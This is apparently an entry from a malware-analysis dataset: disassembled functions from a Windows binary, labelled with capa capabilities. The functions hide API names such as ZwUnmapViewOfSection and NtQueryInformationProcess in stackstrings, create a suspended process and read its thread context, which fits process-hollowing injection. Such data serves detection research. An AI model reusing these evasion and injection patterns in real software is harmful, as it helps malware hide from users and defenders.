joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10027260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x101ad3b4]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov byte [ebp - 0x44], 0x6e
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x2e
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0
mov byte [ebp - 0x38], 0x4e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x51
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x49
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x50
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x1002734e
lea edx, [ebp - 0x50]
push edx
push 0x18
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x1002734e
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100f611a
mov esp, ebp
pop ebp
ret
Function at 0x10027930
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x101ad3b4]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x10027a0d
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x56
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10027a0d
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.100f611a
mov esp, ebp
pop ebp
ret
Function at 0x10027a20
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.100f6b80
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x60], 0x44
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10027b18
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov edx, dword [ebp + 0xc]
mov dword [edx], 0x10007
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
lea eax, [ebp - 4]
push eax
push 4
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x80], ecx
push 0x1c
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
test eax, eax
je 0x10027b0b
mov dword [ebp - 0x6c], 0x10000
cmp dword [ebp - 0x6c], 0
je 0x10027b00
jmp 0x10027b0b
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x80], eax
jmp 0x10027ad7
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x80]
sub edx, dword [ecx]
mov eax, dword [ebp + 0x20]
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x1002ded0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1a0
mov eax, dword [0x101ad3b4]
xor eax, esp
mov dword [esp + 0x19c], eax
cmp byte [0x102b22e8], 0
mov dword [esp + 4], edx
je 0x1002df19
mov eax, 0x102b22e8
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x1002def8
mov ecx, dword [esp + 0x19c]
xor ecx, esp
call fcn.100f611a
add esp, 0x1a0
ret
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push esi
mov dword [esp + 0x14], 0x400
mov dword [esp + 0x18], 0x170
mov dword [esp + 0x1c], 0x4e
mov dword [esp + 0x20], 0x60d1
mov dword [esp + 0x24], 0x26d9
mov dword [esp + 0x28], 0x15d01
mov dword [esp + 0x2c], 0x1f07
mov dword [esp + 0x30], 0x120c4
mov dword [esp + 0x34], 0x16aa2
mov dword [esp + 0x38], 0xe18e3
mov dword [esp + 0x3c], 0x39fb4
mov dword [esp + 0x40], 0xc1740
mov dword [esp + 0x44], 0x13583
mov dword [esp + 0x48], 0xea
mov dword [esp + 0x4c], 0x25fd
mov dword [esp + 0x50], 0xb12
mov dword [esp + 0x54], 0x37f
mov dword [esp + 0x58], 0x3ff
mov dword [esp + 0x5c], 0x24
mov dword [esp + 0x60], 7
mov dword [esp + 0x64], 0x9ae
mov dword [esp + 0x68], 0x3e2
mov dword [esp + 0x6c], 0x22e6
mov dword [esp + 0x70], 0x31a
mov dword [esp + 0x74], 0x1ce0
mov dword [esp + 0x78], 0x2443
mov dword [esp + 0x7c], 0x168e3
mov dword [esp + 0x80], 0x5cc5
mov dword [esp + 0x84], 0x13586
mov dword [esp + 0x88], 0x1ef3
mov dword [esp + 0x8c], 0x17
mov dword [esp + 0x90], 0x3cc
mov dword [esp + 0x94], 0x11b
mov dword [esp + 0x98], 0x59
mov dword [esp + 0xc], 0
mov bl, 0x5c
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
add edi, 0x61
jmp 0x1002e060
mov eax, dword [esp + esi*4 + 0x18]
push eax
push edi
lea ecx, [esp + 0xa8]
push ecx
lea edx, [esp + 0xb8]
push edx
mov byte [esp + 0xb0], bl
mov byte [esp + 0xb1], bl
mov byte [esp + 0xb2], 0x2e
mov byte [esp + 0xb3], bl
mov byte [esp + 0xb4], 0x25
mov byte [esp + 0xb5], 0x63
mov byte [esp + 0xb6], 0x25
mov byte [esp + 0xb7], 0x64
mov byte [esp + 0xb8], 0
call fcn.100f7960
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea eax, [esp + 0xc4]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x1002e124
add esi, 1
cmp esi, 0x22
jb 0x1002e060
mov eax, dword [esp + 0x10]
add eax, 1
cmp eax, 0x19
mov dword [esp + 0x10], eax
jl 0x1002e052
mov ecx, dword [esp + 0x14]
mov byte [ecx], 0
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100f611a
add esp, 0x1a0
ret
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0xac]
mov byte [eax + 0x102b22e8], cl
add eax, 1
test cl, cl
jne 0x1002e130
mov edx, dword [esp + 0x14]
mov eax, 0x102b22e8
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x1002e150
jmp 0x1002e10b
Function at 0x1002e390
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x508
mov eax, dword [0x101ad3b4]
xor eax, esp
mov dword [esp + 0x504], eax
mov ecx, dword [esp + 0x50c]
mov eax, dword [ecx + 4]
cmp eax, 1
jne 0x1002e3b9
mov byte [esp + 4], al
jmp 0x1002e3fd
cmp eax, 2
jne 0x1002e3c4
mov byte [esp + 4], al
jmp 0x1002e3fd
cmp eax, 3
jne 0x1002e3cf
mov byte [esp + 4], al
jmp 0x1002e3fd
cmp eax, 5
jne 0x1002e3da
mov byte [esp + 4], al
jmp 0x1002e3fd
cmp eax, 6
jne 0x1002e3e5
mov byte [esp + 4], al
jmp 0x1002e3fd
cmp eax, 7
jne 0x1002e3f0
mov byte [esp + 4], al
jmp 0x1002e3fd
cmp eax, 8
jne 0x1002e4b0
mov byte [esp + 4], al
push esi
push edi
mov edi, dword [esp + 0x518]
lea eax, [edi - 8]
push eax
add ecx, 8
push ecx
lea ecx, [esp + 0x15]
push ecx
call fcn.100f7fd0
add esp, 0xc
lea edx, [esp + 0x40c]
call fcn.1002ded0
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea edx, [esp + 0x424]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002e497
push 0
lea eax, [esp + 0xc]
push eax
add edi, 0xfffffff9
push edi
lea ecx, [esp + 0x18]
push ecx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [esp + 8], 0
jne 0x1002e497
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.100f611a
add esp, 0x508
ret
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.100f611a
add esp, 0x508
ret
mov ecx, dword [esp + 0x504]
xor ecx, esp
xor eax, eax
call fcn.100f611a
add esp, 0x508
ret
Function at 0x1002e9b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x101ad3b4]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
cmp dword [eax], 2
mov edx, dword [esp + 0x114]
mov ecx, dword [eax + 4]
jne 0x1002ead7
cmp ecx, 2
jne 0x1002ea25
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x10]
cmp dword [eax + 0x24], 0
mov dword [esp + 5], ecx
mov ecx, dword [eax + 0x14]
mov dword [esp + 9], edx
mov edx, dword [eax + 8]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x15], eax
mov dword [esp + 0xd], ecx
mov dword [esp + 0x11], edx
mov eax, 0x15
jne 0x1002ea1b
mov byte [esp + 4], 0x14
jmp 0x1002eb25
mov byte [esp + 4], 0x1e
jmp 0x1002eb25
cmp ecx, 3
jne 0x1002ea98
cmp dword [eax + 0x24], 0
mov ecx, dword [eax + 0x18]
mov dword [esp + 5], ecx
je 0x1002ea6d
mov ecx, dword [eax + 8]
mov dword [esp + 9], ecx
mov ecx, dword [eax + 0xc]
mov dword [esp + 0xd], ecx
mov ecx, dword [eax + 0x10]
mov dword [esp + 0x11], ecx
mov ecx, dword [eax + 0x20]
mov eax, dword [eax + 0x1c]
mov dword [esp + 0x19], eax
mov byte [esp + 4], 4
mov dword [esp + 0x15], ecx
mov dword [esp + 0x1d], edx
mov eax, 0x1d
jmp 0x1002eb25
mov edx, dword [eax + 8]
mov ecx, dword [eax + 0xc]
mov dword [esp + 9], edx
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x20]
mov dword [esp + 0x15], eax
mov byte [esp + 4], 5
mov dword [esp + 0xd], ecx
mov dword [esp + 0x11], edx
mov eax, 0x15
jmp 0x1002eb25
cmp ecx, 4
jne 0x1002eb70
mov ecx, dword [eax + 0x18]
mov edx, dword [eax + 8]
mov dword [esp + 5], ecx
mov ecx, dword [eax + 0xc]
mov dword [esp + 9], edx
mov edx, dword [eax + 0x10]
mov dword [esp + 0xd], ecx
mov ecx, dword [eax + 0x1c]
mov dword [esp + 0x11], edx
mov edx, dword [eax + 0x20]
mov byte [esp + 4], 7
mov dword [esp + 0x15], ecx
mov dword [esp + 0x19], edx
mov eax, 0x19
jmp 0x1002eb25
cmp ecx, 1
jne 0x1002eae2
mov byte [esp + 4], cl
jmp 0x1002eb04
cmp ecx, 0x14
jne 0x1002eaee
mov byte [esp + 4], 2
jmp 0x1002eb04
cmp ecx, 0x1e
jne 0x1002eafa
mov byte [esp + 4], 3
jmp 0x1002eb04
cmp ecx, 5
jne 0x1002eb70
mov byte [esp + 4], 6
push esi
mov esi, dword [esp + 0x114]
lea ecx, [esi - 8]
push ecx
add eax, 8
push eax
lea edx, [esp + 0x11]
push edx
call fcn.100f7fd0
add esp, 0xc
lea eax, [esi - 7]
pop esi
mov ecx, dword [0x102b23e8]
test ecx, ecx
je 0x1002eb70
cmp ecx, 0xffffffff
je 0x1002eb70
push 0
lea edx, [esp + 4]
push edx
push eax
lea eax, [esp + 0x10]
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [esp], 0
jne 0x1002eb70
mov eax, 1
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.100f611a
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.100f611a
add esp, 0x108
ret
Function at 0x1002ec90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
jne 0x1002eca9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov esi, eax
test esi, esi
je 0x1002ece4
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x1002ece0
lea ebx, [ebx]
cmp esi, eax
jae 0x1002ece4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x1002ecd0
cmp esi, eax
jb 0x1002ecea
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x10030b40
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x228
mov eax, dword [0x101ad3b4]
xor eax, esp
mov dword [esp + 0x224], eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x10030b82
xor eax, eax
pop esi
mov ecx, dword [esp + 0x224]
xor ecx, esp
call fcn.100f611a
add esp, 0x228
ret
push edi
push 0x224
xor edi, edi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.100f6b80
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push esi
mov dword [esp + 0x10], 0x224
call sub.KERNEL32.DLL_Module32First
test eax, eax
je 0x10030bd3
push ebx
mov ebx, dword [esp + 0x238]
cmp ebx, dword [esp + 0x28]
je 0x10030bce
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.DLL_Module32Next
test eax, eax
jne 0x10030bb7
jmp 0x10030bd2
mov edi, dword [esp + 0x24]
pop ebx
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x22c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.100f611a
add esp, 0x228
ret
Function at 0x10035f30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x18
mov edx, dword [esp + 0x2c]
push ebp
push esi
mov esi, dword [esp + 0x50]
push edi
mov edi, dword [esp + 0x34]
mov ecx, edi
add ecx, dword [esp + 0x3c]
mov eax, edx
adc eax, dword [esp + 0x40]
mov dword [esp + 0x3c], ecx
cmp eax, esi
mov dword [esp + 0x40], eax
jb 0x10035f6e
ja 0x10035f62
cmp ecx, dword [esp + 0x50]
jbe 0x10035f6e
mov eax, dword [esp + 0x50]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], esi
mov ebp, dword [esp + 0x30]
cmp ebp, edx
jb 0x100360b1
mov esi, dword [esp + 0x2c]
ja 0x10035f88
cmp esi, edi
jb 0x100360b1
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x3c]
cdq
sub ecx, eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
sbb eax, edx
cmp ebp, eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
ja 0x100360b1
jb 0x10035fbb
cmp esi, ecx
jae 0x100360b1
push ebx
lea esp, [esp]
mov ebx, dword [esp + 0x40]
mov edi, dword [esp + 0x44]
mov eax, dword [esp + 0x50]
sub ebx, esi
sbb edi, ebp
cmp edi, eax
mov dword [esp + 0x14], edi
jb 0x10035fea
ja 0x10035fe0
cmp ebx, dword [esp + 0x4c]
jbe 0x10035fea
mov ebx, dword [esp + 0x4c]
mov dword [esp + 0x14], eax
mov edi, eax
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x2c]
push 0
push ebx
push ecx
push ebp
push esi
push edx
call fcn.10051150
add esp, 0x18
test eax, eax
je 0x1003608a
mov edi, dword [esp + 0x48]
mov eax, ebx
sub eax, dword [esp + 0x5c]
add eax, edi
cmp edi, eax
mov dword [esp + 0x38], eax
jae 0x10036086
lea ecx, [ecx]
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x64]
push eax
mov eax, dword [esp + 0x64]
push ecx
push edx
push eax
push edi
call dword [esp + 0x90]
add esp, 0x14
cmp eax, 1
jne 0x1003607c
mov ecx, dword [esp + 0x74]
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x54]
push ecx
push edx
push eax
xor edx, edx
xor eax, eax
mov ecx, edi
sub ecx, dword [esp + 0x54]
sbb edx, eax
add ecx, esi
mov esi, dword [esp + 0x7c]
adc edx, ebp
push edx
push ecx
mov ecx, dword [esp + 0x80]
call fcn.10035e60
mov esi, dword [esp + 0x44]
add esp, 0x14
add edi, dword [esp + 0x78]
cmp edi, dword [esp + 0x38]
jb 0x10036020
mov edi, dword [esp + 0x14]
sub ebx, dword [esp + 0x18]
sbb edi, dword [esp + 0x1c]
add esi, ebx
adc ebp, edi
cmp ebp, dword [esp + 0x24]
mov dword [esp + 0x30], esi
jb 0x10035fc0
ja 0x100360b0
cmp esi, dword [esp + 0x20]
jb 0x10035fc0
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x18
ret
Function at 0x1003bf90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x1320
call fcn.100f6b50
mov eax, dword [0x101ad3b4]
xor eax, esp
mov dword [esp + 0x131c], eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ebx, ebx
push 0x7fe
mov esi, eax
lea eax, [esp + 0xb2a]
push ebx
push eax
mov word [esp + 0xb30], bx
call fcn.100f6b80
mov edx, dword [esp + 0x133c]
lea ecx, [esp + 0x1340]
push ecx
push edx
lea eax, [esp + 0x738]
push eax
call fcn.100f891b
add esp, 0x18
cmp esi, ebx
je 0x1003c0a9
cmp esi, 0x459
je 0x1003c0a9
push ebx
push ebx
lea ecx, [esp + 0x24]
push ecx
push 0x400
push esi
push ebx
push 0x1300
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
mov edx, dword [esp + 0x1c]
push edx
lea eax, [esp + 0x728]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x330]
push edx
mov byte [esp + 0x18], 0x25
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0x20
mov byte [esp + 0x1b], 0x3c
mov byte [esp + 0x1c], 0xb4
mov byte [esp + 0x1d], 0xed
mov byte [esp + 0x1e], 0xce
mov byte [esp + 0x1f], 0xf3
mov byte [esp + 0x20], 0xd0
mov byte [esp + 0x21], 0xc5
mov byte [esp + 0x22], 0xcf
mov byte [esp + 0x23], 0xa2
mov byte [esp + 0x24], 0x20
mov byte [esp + 0x25], 0x3d
mov byte [esp + 0x26], 0x20
mov byte [esp + 0x27], 0x25
mov byte [esp + 0x28], 0x73
mov byte [esp + 0x29], 0x3e
mov byte [esp + 0x2a], bl
call fcn.100f7960
mov eax, dword [esp + 0x2c]
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x1003c0c6
lea ecx, [esp + 0x724]
push ecx
lea edx, [esp + 0x328]
push 0x10161960
push edx
call fcn.100f7960
add esp, 0xc
mov eax, dword [esp + 0x132c]
cmp dword [eax + 0x25f8], ebx
je 0x1003c1c5
mov esi, dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
push 0x100
lea ecx, [esp + 0xb28]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x330]
push edx
push ebx
push ebx
call esi
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x2c]
push edx
mov byte [esp + 0x14], 0x3c
mov byte [esp + 0x15], 0xb4
mov byte [esp + 0x16], 0xed
mov byte [esp + 0x17], 0xce
mov byte [esp + 0x18], 0xf3
mov byte [esp + 0x19], 0x3e
mov byte [esp + 0x1a], 0x20
mov byte [esp + 0x1b], 0xb2
mov byte [esp + 0x1c], 0xe5
mov byte [esp + 0x1d], 0xbc
mov byte [esp + 0x1e], 0xfe
mov byte [esp + 0x1f], 0xb0
mov byte [esp + 0x20], 0xe6
mov byte [esp + 0x21], 0xb1
mov byte [esp + 0x22], 0xbe
mov byte [esp + 0x23], 0x3a
mov byte [esp + 0x24], 0x25
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], bl
mov byte [esp + 0x28], 0x37
mov byte [esp + 0x29], 0x2e
mov byte [esp + 0x2a], 0x32
mov byte [esp + 0x2b], 0x34
mov byte [esp + 0x2c], 0x33
mov byte [esp + 0x2d], 0x30
mov byte [esp + 0x2e], bl
call fcn.100f7960
add esp, 0xc
push 0x100
lea eax, [esp + 0x128]
push eax
push 0xffffffffffffffff
lea ecx, [esp + 0x30]
push ecx
push ebx
push ebx
call esi
push 0x10010
lea edx, [esp + 0x128]
push edx
lea eax, [esp + 0xb2c]
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [esp + 0x1324]
pop esi
pop ebx
xor ecx, esp
call fcn.100f611a
add esp, 0x1320
ret
Function at 0x100402b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
push esi
push 0x40
lea eax, [esp + 8]
push eax
push ecx
mov byte [esp + 0x10], 0x72
mov byte [esp + 0x11], 0x62
mov byte [esp + 0x12], 0
call fcn.100f7889
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x100402e2
pop esi
add esp, 8
ret
push esi
push 4
lea edx, [esp + 0x10]
push 1
push edx
mov dword [esp + 0x18], 0
call fcn.100f755c
push esi
call fcn.100f7244
add esp, 0x14
xor eax, eax
cmp dword [esp + 8], 0x4d444d44
pop esi
sete al
add esp, 8
ret
Function at 0x10040340
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x24
mov eax, dword [0x101ad3b4]
xor eax, esp
mov dword [esp + 0x20], eax
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov esi, dword [esp + 0x30]
push esi
mov dword [esp + 0x14], esi
call fcn.100402b0
add esp, 4
cmp eax, 1
jne 0x1004037d
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.100f611a
add esp, 0x24
ret
mov eax, ebp
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10040382
sub eax, edx
je 0x1004036a
mov eax, ebp
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10040394
sub eax, edx
cmp eax, 0xa
ja 0x1004036a
push 0x40
lea eax, [esp + 0xc]
push eax
push esi
mov byte [esp + 0x14], 0x72
mov byte [esp + 0x15], 0x62
mov byte [esp + 0x16], cl
call fcn.100f7889
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1004036a
push ebx
push 2
push 0
push esi
call fcn.100f7804
push esi
call fcn.100f770f
push 0
push 0
push esi
mov ebx, eax
call fcn.100f7804
add esp, 0x1c
test ebx, ebx
jne 0x10040409
push esi
call fcn.100f7244
add esp, 4
pop ebx
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.100f611a
add esp, 0x24
ret
mov ecx, ebx
and ecx, reloc.WS2_32.dll_closesocket
push edi
jns 0x10040419
dec ecx
or ecx, 0xfffffffc
inc ecx
mov edx, ebx
sub edx, ecx
add edx, 8
push edx
call fcn.100f5b7c
add esp, 4
mov edi, eax
test edi, edi
push esi
jne 0x1004044d
call fcn.100f7244
add esp, 4
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.100f611a
add esp, 0x24
ret
push ebx
push 1
push edi
call fcn.100f755c
push esi
call fcn.100f7244
push edi
mov eax, ebp
call fcn.1003ff30
mov ebx, eax
mov al, 0x4f
add esp, 0x18
mov byte [esp + 0x21], al
mov byte [esp + 0x22], al
mov byte [esp + 0x20], 0x52
mov byte [esp + 0x23], 0x33
mov byte [esp + 0x24], 0
xor eax, eax
mov cl, byte [esp + eax + 0x20]
mov byte [esp + eax + 0x28], cl
add eax, 1
test cl, cl
jne 0x10040484
lea eax, [esp + 0x28]
push eax
mov eax, ebp
call fcn.10040000
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x62
mov byte [esp + 0x22], 0
call fcn.100f794d
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x100404d1
push edi
call fcn.100f5c3f
jmp 0x10040435
push esi
push 4
lea eax, [esp + 0x24]
push 1
push eax
mov dword [esp + 0x2c], 0x4d444d44
call fcn.100f9b6e
push esi
push 4
lea ecx, [esp + 0x40]
push 1
push ecx
call fcn.100f9b6e
push esi
push ebx
push 1
push edi
call fcn.100f9b6e
push esi
call fcn.100f7244
push edi
call fcn.100f5c3f
mov ecx, dword [esp + 0x68]
add esp, 0x38
pop edi
pop ebx
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.100f611a
add esp, 0x24
ret